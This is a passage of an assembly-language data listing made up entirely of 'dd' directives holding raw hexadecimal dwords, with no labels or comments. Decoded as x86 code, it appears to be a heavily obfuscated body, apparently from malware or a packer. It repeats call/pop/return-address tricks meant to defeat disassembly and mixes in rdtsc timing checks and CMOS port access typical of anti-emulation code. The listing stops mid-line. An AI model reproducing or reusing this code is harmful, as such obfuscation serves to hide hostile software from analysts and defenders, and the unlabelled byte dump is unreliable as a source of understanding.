5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 5C89F7C3h, 4087425Eh dd 9589F36Bh, 5E41175h, 42DBD29h, 0C38B05E4h, 6A04E8C1h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0B402C356h, 66CBFA9Bh, 9D89E2F7h, 5E413C1h dd 7E9h, 2CA27800h, 94CE339Fh, 6AD82Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 97AD6C3h dd 0F9365CFh, 0B8Fh, 66525000h, 310FFA8Bh, 585AF98Bh, 0F08B6650h dd 99B52393h, 0FF05E42Ch, 0E40D05B5h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 887CCE4Bh, 6A626E72h, 0FFF825D3h, 0E410C195h, 0F1BF0F05h dd 6A00B0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 57148C3h, 0E63FEEFBh, 0BF71E470h, 50D407FFh dd 830F613Ch, 233h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 0BAC35747h, 508BBE66h, 6AD8B60Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8BD8C352h, 0E40075B5h, 6BA05h, 0BE80000h, 4C000000h dd 3C8997E7h, 9D7BC8CAh, 0AE98E17h, 83000000h, 6FD9AB5Fh dd 4ADB3C08h, 0BD295F6Fh, 5E4265Dh, 0E8C1C38Bh, 68BCBF04h dd 81660F67h, 662381CEh, 0B503E2F7h, 5E42665h, 6AD82Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 9FEBC6C3h, 0D68166F8h, 6A58CAD2h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 22C4C351h dd 2B7929F1h, 5C880FD8h, 66000001h, 0B9D67CBFh, 7, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 15C35343h, 0D6806B0Fh dd 0EE816658h, 8E9B9DEh, 0B7000000h, 0FC8F39E9h, 83C7362Ah dd 0B58B00C1h, 5E401D1h, 24E9B58Bh, 0D93B05E4h, 109860Fh dd 0BD8B0000h, 5E404EDh, 11E9h, 0B9C75200h, 47F917FEh dd 74B843F8h, 300698C1h, 8C6692FAh, 666FBED9h, 0C1F600B1h dd 0AE840F04h, 0E9000000h, 12h, 0EFCB69BBh, 0C0CC179Bh dd 51780708h, 70D90241h, 95FFBA7Eh, 5E41139h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 82C35646h, 0C67AA528h dd 81666DD8h, 5BA377E7h, 96DBD23h, 0C32B05E4h, 8E9h, 7516AD00h dd 0CCD7D5h, 8343D5Eh, 860F0000h, 49h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 55C35646h, 0E9F38BEAh, 53h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0EAC35141h dd 89F608D9h, 0E41B8D85h, 6AC08B05h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 1291C356h dd 8BF2FF22h, 0E408DDBDh, 44EE8105h, 8B5CD522h, 89D88BC3h dd 0E432018Dh, 3585C705h, 0F905E417h, 2916FB43h, 0E4200DB5h dd 50C08B05h, 6890Fh, 0BD290000h, 5E40FB5h, 5BD815Fh, 0D005E40Dh dd 0F000007h, 4A85h, 0DD9D8900h, 0FF05E41Ah, 0E40D0585h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 6B17901Ch, 12E960h, 0D9B0000h, 827FC900h dd 0B3493F85h, 0BAAD9F86h, 8FD57D95h, 16398589h, 0FF6105E4h dd 0E40D05B5h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 33E7B81Ch, 0BD33A316h dd 5E42AF5h, 10C195FFh, 6A05E4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0AF402BC3h, 18FAF6E1h dd 850FCAA7h, 6, 6E68DF81h, 0B58B15E8h, 5E42A09h, 0E5B58B90h dd 6605E427h, 0E47CDE81h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 25C35242h, 837656E7h, 0E80AFDB6h, 9 dd 0BB0EB692h, 0CCA31930h, 0FE98Ch, 0B9DD0000h, 52D90494h dd 0A2DA8C02h, 3FECB0C6h, 9D895E96h, 5E404F9h, 0C61BD781h dd 9D892EBCh, 5E400FDh, 291D9589h, 0F78B05E4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0FFC35040h, 0EF0F59FDh dd 11B589DFh, 0E905E41Dh, 11h, 2500D9F2h, 529341D0h, 0BE7C24E4h dd 4D836385h, 0C8ABBE71h, 8B665436h, 51006AFBh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 92804791h dd 0B58B0C2Ah, 5E40D5Dh, 9D858960h, 0F05E42Bh, 0C85h, 8D0F00h dd 8B000000h, 0E42A2DB5h, 85896105h, 5E421BDh, 2A418529h dd 52BF05E4h, 0E968EDB0h, 0FFFFF84Bh, 2A6DBD09h, 0B50905E4h dd 5E402F1h, 8BFEB70Fh, 4EBC1h, 1000000h, 0E404AD8Dh, 0C5BD8905h dd 8905E42Ah, 0E413A195h, 0D5858D05h, 6A05E419h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0F145C356h, 74BD6BCAh, 1C29BD8Bh, 509005E4h, 5A310F52h dd 6A905058h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 53B2C355h, 0F78B667Ch, 6A006Ah dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 92C35343h dd 5209A7EDh, 135F7BD2h, 0B5852902h, 8D05E419h, 0E7E5F885h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 800F3BF9h, 6, 2A65BD8Bh, 0C08305E4h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 86397E61h, 0D574DC35h, 89501330h, 0C0BE2404h, 6A499727h dd 118D8900h, 6A05E413h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 9FE5CF89h, 0A195FF32h dd 6A05E421h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 69E4C357h, 8DF3B70Fh, 0E79E7F9Dh dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 8077AC21h, 998FFC62h, 0FEB70F62h, 6AD3FFh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 46032DC3h, 8960C2C0h, 0E4141185h, 85FF6105h, 5E4142Dh dd 3880Fh, 8B660000h, 885E9F8h, 0E80000h dd 5D000000h, 0E602ED81h, 0F78105E7h, 2C2183E8h, 0D05BD81h dd 7D005E4h, 860F0000h, 162h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0C0C35242h, 0D4141319h, 0D19D8BE8h dd 8B05E414h, 0E41F09BDh, 0E38105h, 6A000001h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 4542C353h, 49D16h, 0C1B58B66h, 0B05E41Ch, 9C850FDBh dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0FE42C357h, 80A4676Ah, 92C7B509h dd 1C319589h, 0BD8305E4h, 5E7E446h, 11840F00h, 89000000h dd 0E4272585h, 69E905h, 8D890000h, 5E4216Dh, 0E44685C7h dd 105E7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 71046CC3h, 35E989h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0EAFFCAC3h, 0D4E6BDBDh, 0C7C4BC82h, 0E7E44685h, 5, 81BD8B00h dd 8D05E419h, 0E414D19Dh, 0C1958905h, 0B05E42Ch, 0E42DB1BDh dd 0FF238105h, 6AFFFFFEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0C98DC352h, 0B42146C2h dd 8E50F5F0h, 0A8C0Fh, 5E90000h, 3C000000h, 526C7F93h dd 1D15BD8Bh, 8C6605E4h, 0DE9DBh, 0FB570000h, 0C5488D10h dd 44331D16h, 0F65BFDE1h, 840F04C3h, 6Bh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 19h, 42C35545h, 0E74C9644h dd 8B666097h, 75B589F1h, 6105E402h, 0FFFFB70Fh, 0E4113995h dd 0BF0FF505h, 0B8BF90F9h, 507DC332h, 0CDF971BFh, 6A9032h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 27A295C3h, 5FC3C647h, 0E9F78BEBh, 441h, 0D5D9D89h, 0B005E4h dd 45B50Bh, 70E605E4h, 0E4F88B66h, 55006A71h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 700196C3h dd 8B668D36h, 0D8B60FF8h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0DFC35646h, 7A5886D2h, 6BADF3Bh, 29000000h dd 0E4012DB5h, 6AC38B05h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 3950C353h, 0C1D1AA90h dd 6A04E8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 78AC94C3h, 0E9EC1ABCh, 0DD8D8990h, 6605E431h dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0FCADB0C3h, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 187F1FC3h, 2DB50132h dd 5005E418h, 60525051h, 50310F61h, 5A310F52h, 5E585A58h dd 6A241C89h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 45E8C357h, 0AD9E6804h, 939DF43h dd 0E41C09B5h, 5B5FF05h, 6A05E40Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B685C355h dd 8CA18C1Fh, 800FC483h, 0Ch, 68C0Fh, 8D890000h, 5E4086Dh dd 10C195FFh, 0BD8B05E4h, 5E4266Dh, 6A00B0h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 1A5A3DC3h dd 71F15A1Ah, 36BE66ECh, 6A70E605h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0AA43C353h dd 89F4A722h, 0E4251D85h, 6A71E405h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 9DDBC351h dd 7CD353B7h, 4E26AA5Fh, 1AD3BE66h, 830F613Ch, 239h, 0E9D8B60Fh dd 10h, 74850930h, 56B805DCh, 0DF142CB1h, 669025C0h, 6BAh dd 1ABF6600h, 0C1C38BCAh, 9D8904E8h, 5E42589h, 21E19D29h dd 0F76605E4h, 0D68166E2h, 0D82B242Fh, 24F5B58Bh, 6A5805E4h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 3CC4C356h, 5EEE1F7h, 7E8E2h, 795A0000h, 8AAD2FF3h dd 0C8E0FB8h, 0E8000000h, 6, 0A9CC2E1Ch, 5E5E591Fh, 880FD82Bh dd 1ADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 42C35343h, 0FAA1728Dh, 0BA2BE66h, 7B9h, 6DBF6600h dd 0C183E1h, 0B58B5250h, 5E42589h, 0BD8B5F5Eh, 5E40839h dd 860FD93Bh, 165h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0D1C35040h, 0CE866h, 0D8950000h, 9BCD5292h dd 9296123Dh, 665F4D90h, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0BE66C8C3h, 0C1F631E6h dd 0DF840F04h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 1D4DC355h, 0FFFCCC38h dd 0E4113995h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0C6234100h, 95C29E97h dd 53006A5Bh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0C4FE940Bh, 51E909FCh, 5FF3BF0Fh, 25D1B58Bh dd 0C32B05E4h, 29ADB523h, 343D05E4h, 0F000008h, 5586h dd 0C8C0F00h, 0F000000h, 686h, 81B58B00h, 0E905E408h, 69h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 26C35545h dd 430B93E8h, 9E9EF9Dh, 0F9000000h, 96BB9436h, 6501A5C9h dd 298D8B60h, 8B05E40Dh, 0E407C5B5h, 0C08B6105h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0DC35040h, 0BD897B11h dd 5E41C25h, 0C0C78166h, 8BC38B9Bh, 0DE953D8h, 0A9000000h dd 1D93FA93h, 0ABFD2AEh, 95F9B503h, 0E185C75Eh, 5F05E410h dd 0F78FDBFh, 0C08BF9B7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 0DBC35545h, 3AFD267Bh, 19830F97h, 60000000h dd 0FE9h, 399FB200h, 3660F7B5h, 664B11BDh, 0F983054h, 6101C880h dd 1705DE81h, 0BD81114Dh, 5E40D05h, 7D0h, 3C850Fh, 0B58B0000h dd 5E41741h, 829B58Bh, 85FF05E4h, 5E40D05h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B0C35343h, 0B730F956h dd 5E3DAF0Ch, 1AE9B533h, 0B5FF05E4h, 5E40D05h, 0AE860h dd 0B9490000h, 0BB99E6D8h, 0E90CB925h, 820Fh, 0E85F0000h dd 8, 2460D564h, 43AB19A8h, 6159CAB3h, 10C195FFh, 816605E4h dd 90E9D9C6h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 39C35242h, 44114CE8h, 7E9h, 0FACF1800h, 55122297h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 48C35646h dd 2CDD9D89h, 0B46005E4h, 358589AEh, 8105E415h, 81089E7h dd 61F18B50h, 68F0Fh, 0BD8B0000h, 5E407C5h, 134DBD89h dd 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 9BFDA1C3h, 0E250994Dh, 6AF08B7Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 67B4C352h, 0B4F9129Eh, 8B0F4B08h dd 0E40F61BDh, 0DE95205h, 47000000h, 1877D4F1h, 9C53D2BAh dd 73A08913h, 24DDB529h, 665F05E4h, 6A34B1BEh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 9883C356h, 0D99D89E8h, 0E905E41Eh, 0FFFFF7B2h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 1BC35545h, 9589607Fh dd 5E42819h, 1F71B58Bh, 0E96105E4h, 7, 57610035h, 8BAF766Ah dd 0B58B51C1h, 5E40CB1h, 0ABE7BF5Eh, 4EB396Eh, 0 dd 0BD09FA8Bh, 5E41649h, 5F5E5253h, 19D5858Dh, 8D8905E4h dd 5E41431h, 5E96050h, 0C1000000h, 842F14FCh, 1BF944BEh dd 489616Eh, 5E924h, 8AE50000h, 60E04360h, 0FDDDBA66h dd 6A61F9h, 9E956h, 0E9360000h, 1DC4A54Ah, 5F683D29h, 6A006Ah dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0F28B40C3h, 0DB5BD8Bh, 858D05E4h, 5E7F003h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 5AC35141h, 86DEDAA0h dd 0A8CCFFDCh, 5C08391h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 2CC35646h, 0F7DC7EBAh, 507EC701h, 7754D4BFh dd 2404897Dh, 7E8h, 2EA33300h, 0A62C7B09h, 806DE81h, 8B5E4256h dd 0E41165BDh, 6A006A05h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 76FAC350h, 4F794EBFh dd 6A791BA7h, 7E900h, 0C76C0000h, 3BDCE2A3h, 0A195FFE9h dd 8B05E421h, 0E42209B5h, 7F9D8D05h, 6A05E79Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 259DC356h, 26D266Bh, 77229A4Dh, 2019B589h, 0D3FF05E4h dd 500ABF66h, 142D85FFh, 0B50B05E4h, 5E42589h, 838E9h dd 0E800h, 815D0000h, 0E7F00DEDh, 8B665705h, 0BD815EF3h dd 5E40D05h, 7D0h, 1B7860Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 94280BC3h dd 0BD8BF38Bh, 5E408FDh, 0FED9D8Bh, 6A05E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0DC76D9C3h dd 2C77480Fh, 66F598A2h, 0E381FB8Bh, 100h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0AFC35040h, 0F7DA828h dd 0DB0BF6BFh, 0F4850Fh, 0CE80000h, 5C000000h, 110717CCh dd 4F9AD8CDh, 5693273Eh, 5EF8BF0Fh, 93BD835Eh, 5E7EEh dd 63840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0E8604AC3h, 0Dh, 8056B9AFh, 4E91D4CBh dd 10A070BBh, 5BAFB5F8h, 3E98589h, 0E96105E4h, 0A1h, 0DDCE8166h dd 0AE86053h, 0CB000000h, 0C245B67Bh, 0DC0282EAh, 0C88B665Bh dd 0E1816059h, 22AAC00Bh, 61C68B66h, 9385C761h, 105E7EEh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 7533C352h, 0C8478940h, 13E8F94Eh dd 25000000h, 0D7D8409Eh, 968FF3D9h, 59865575h, 0C3E4CF82h dd 0B503B9B5h, 5E420E5h, 2BE95Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 85C79BC3h dd 5E7EE93h, 0 dd 0F1E68166h, 0ED9D8D23h, 6A05E40Fh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0D97FC350h dd 81B58BCBh, 8105E426h, 0FFFEFF23h, 0DB8C66FFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 19C35646h, 66A4B608h dd 0C8A9C681h, 0F04C3F6h, 5184h, 860F00h, 0FF000000h, 0E4113995h dd 13E905h, 0B9D30000h, 72C4E4F2h, 37B66D52h, 4CAA0DF5h dd 8949F55Bh, 0BF6650CEh, 4891153h, 50006A24h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 95ADD041h dd 202D9D29h, 77E905E4h, 8B000003h, 0E400CDB5h, 6A00B005h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0A6E9C357h, 6670E6F1h, 6DECDE81h, 858971E4h dd 5E403A1h, 6AD8B60Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 0CB1DC353h, 0F1858913h dd 0BE05E41Dh, 5345114Ch, 6BAh, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 82B07Ch, 8BC38B74h dd 0E40D5DBDh, 4E8C105h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 7CC35141h, 4B86572Dh, 294880DDh, 0E4280D95h dd 0E5BD3305h, 6605E412h, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 5529AC3h, 2BF88B1Eh dd 50006AD8h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 6E835h, 96230000h, 86F476A1h, 2A958D89h dd 8B5F05E4h, 8B6650F1h, 241C89F8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0F4C35343h, 8149FD6Fh, 2312E173h dd 0E42675BDh, 5B5FF05h, 6A05E40Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 3BAFC356h dd 0CE9B2h, 0DF0C0000h, 0ED4D2748h, 0E9CFDD88h, 95FFDE61h dd 5E410C1h, 0F3F1BF66h, 6A00B0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 0DE3538C3h, 0BBA5CB8Fh dd 6670E6F8h, 0E4AABFBEh, 57006A71h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0A0C692E4h dd 89395096h, 0E4227D8Dh, 0F613C05h, 19583h, 0CF816600h dd 0B60F4D84h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 8BF18811h, 0E42709B5h dd 6BA05h, 0BF0F0000h, 66C38BFEh, 0DF50DE81h, 0F04E8C1h dd 68Bh, 0E9B58B00h, 6605E419h, 6AE2F7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 329B6CC3h dd 65762048h, 0D82BABDFh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 0BBC35343h, 0C8B550C2h, 8B58CCACh, 0E40CB1B5h dd 0FD82B05h, 0F188h, 0FEBF0F00h, 7B9h, 9D895000h, 5E4319Dh dd 0C1835Eh, 0BE9h, 88148700h, 6D3CBAFAh, 0D56A54F0h, 860FD93Bh dd 0C6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0F8C35545h, 3D24AE4h, 0D98C66F9h, 0DAD8589h, 0C1F605E4h dd 6C840F04h, 9000000h, 0E422359Dh, 0FB8B6605h, 113995FFh dd 820F05E4h, 0 dd 6DB5335Bh, 2B05E409h, 0ED8589C3h, 3D05E420h, 834h, 3D860Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 6BE949C3h, 48F7ADCAh, 3CE94Fh, 9E80000h dd 7E000000h, 281E1B76h, 0A7459D31h, 2A05B58Bh, 8B5E05E4h dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0C642971Ah, 4E378950h, 0C38B32C1h, 6AD88Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0DD4E9BC3h, 85C7E5E5h, 5E414D1h, 3EBEEF9Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EDC35747h, 85313B77h dd 5E41AFDh, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 755144C3h, 19C8F836h, 8172568Bh dd 0E40D05BDh, 7D005h, 38850F00h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 2A3EC355h, 950153C0h, 5E41849h, 585FF5Fh, 6005E40Dh dd 24A98529h, 0BB6605E4h, 0FF619D51h, 0E40D05B5h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0E7811219h, 0BC09D47h, 10C195FFh, 6A05E4h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 5CCF0AC3h dd 5D6A7A4h, 0F9BF0FDAh, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 12F53AEBh, 9A7A811Eh dd 27D98D89h, 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 0D2C4C4C3h, 8398589h, 0E86005E4h dd 0Ah, 51458F78h, 0E692C404h, 800F12F3h, 0 dd 2BA9BD89h, 665B05E4h, 61390EB9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0ECC35040h, 0FC8A098Fh, 0EE93717h dd 31000000h, 659FCEECh, 0CB82BFEh, 0D1840DEh, 29BD8B0Fh dd 8B05E41Ch, 0E4045DBDh, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 0EB22C6F4h dd 1DBD0BDBh, 8905E423h, 0E42BA995h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0F98B6034h dd 39B58B60h, 0E805E42Ch, 0Bh, 21692195h, 0EB5E57F5h, 5FE96D97h dd 268A0F61h, 0E8000000h, 7, 0A9A9FEF3h, 5A5BAA12h, 14E9h dd 1FF9FF00h, 0C6C5F8A9h, 3DE431D1h, 213E4135h, 22706DBCh dd 59D89E5h, 6105E417h, 0FFF7C8E9h, 31C18BFFh, 0E4108D85h dd 0F88B6605h, 104EBh, 8D890000h, 5E40425h, 246BCF81h dd 858D2372h, 5E419D5h, 7FBA6660h, 9061FC67h, 95563BBEh dd 0F8BE5064h, 90042721h, 2AA5BD89h, 6A05E4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 2FC35545h, 0F1A606Bh dd 6AF3B7h, 21898D29h, 858D05E4h, 5E7F9B9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EBC35242h, 0EB14288Bh dd 38A0Fh, 8B660000h, 5C083F3h, 2581BD01h, 669005E4h, 6650F08Bh dd 909D94BEh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 3AC35747h, 0EEDBE049h, 0CF8153DFh, 5C5F38D4h, 418D095Eh dd 6A05E42Ah, 10E900h, 93870000h, 2259E618h, 0C772834h dd 7B6012EFh, 8B66BF35h, 0E9006AF9h, 10h, 0BA3BEF2h, 6CCAC8B3h dd 780AF2EFh, 0A72B5B7Ah, 21A195FFh, 6A05E4h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 55FE07C3h dd 81667AF1h, 661648CEh, 8337F781h, 9E7F9D8Dh, 8B6605E7h dd 0E98D89F9h, 0FF05E426h, 8B0FD3h, 0FF000000h, 0E4142D85h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 85F8E9E4h, 0A7E997FDh, 0E8000008h, 0 dd 0C3ED815Dh, 6605E7F9h, 6692D781h, 0D05BD81h, 7D005E4h dd 860F0000h, 167h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 0B8C35646h, 243FAE3h, 4BC9AEBEh, 8BF78B4Fh dd 0E41A3D9Dh, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 0E381EA65h, 100h, 1DC18509h dd 0DB0B05E4h, 77850Fh, 81660000h, 831238DFh, 0E7F84DBDh dd 840F0005h, 4Bh, 4D50F781h, 9AE9268Dh, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0EEDBC351h, 0CA2FBADFh, 14E8D9h, 25390000h, 7F08288Fh dd 994CC8Bh, 6C6D0051h, 5359918h, 0BF6676E7h, 0C75E7749h dd 0E7F84D85h, 105h, 0C6D9BE00h, 46E94953h, 29000000h dd 0E409558Dh, 4D85C705h, 5E7F8h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0F620C356h, 56B0702Bh, 0FE9F9h, 0E8C40000h, 2268C811h dd 3A3B77EDh, 553C4225h, 3D9D8DC7h, 6A05E41Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 81E6C353h, 0FFFEFF23h, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0D9AD8CCBh dd 903F96C9h, 71B58B70h, 6605E403h, 6ADB8Ch, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B70F57C3h dd 4C3F6F6h, 60840Fh, 8B660000h, 3995FFF0h, 6A05E411h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 6621C353h, 1800F52h, 0F5000000h, 8B0F50h dd 89000000h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 47915C3h, 0B13DC8ACh, 0CF816649h dd 2BE9773Ch, 6A000004h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0B676C353h, 0B0938Ah dd 0FD5B52Bh, 70E605E4h, 0E4F88B66h, 56006A71h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 9BE4E7D3h dd 398D89CAh, 0F05E41Ah, 9D31D8B6h, 5E40415h, 6BAh, 0C5B58900h dd 8B05E41Ch, 0E8C1F5C3h, 0F766FC04h, 51006AE2h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 6AD82BC8h, 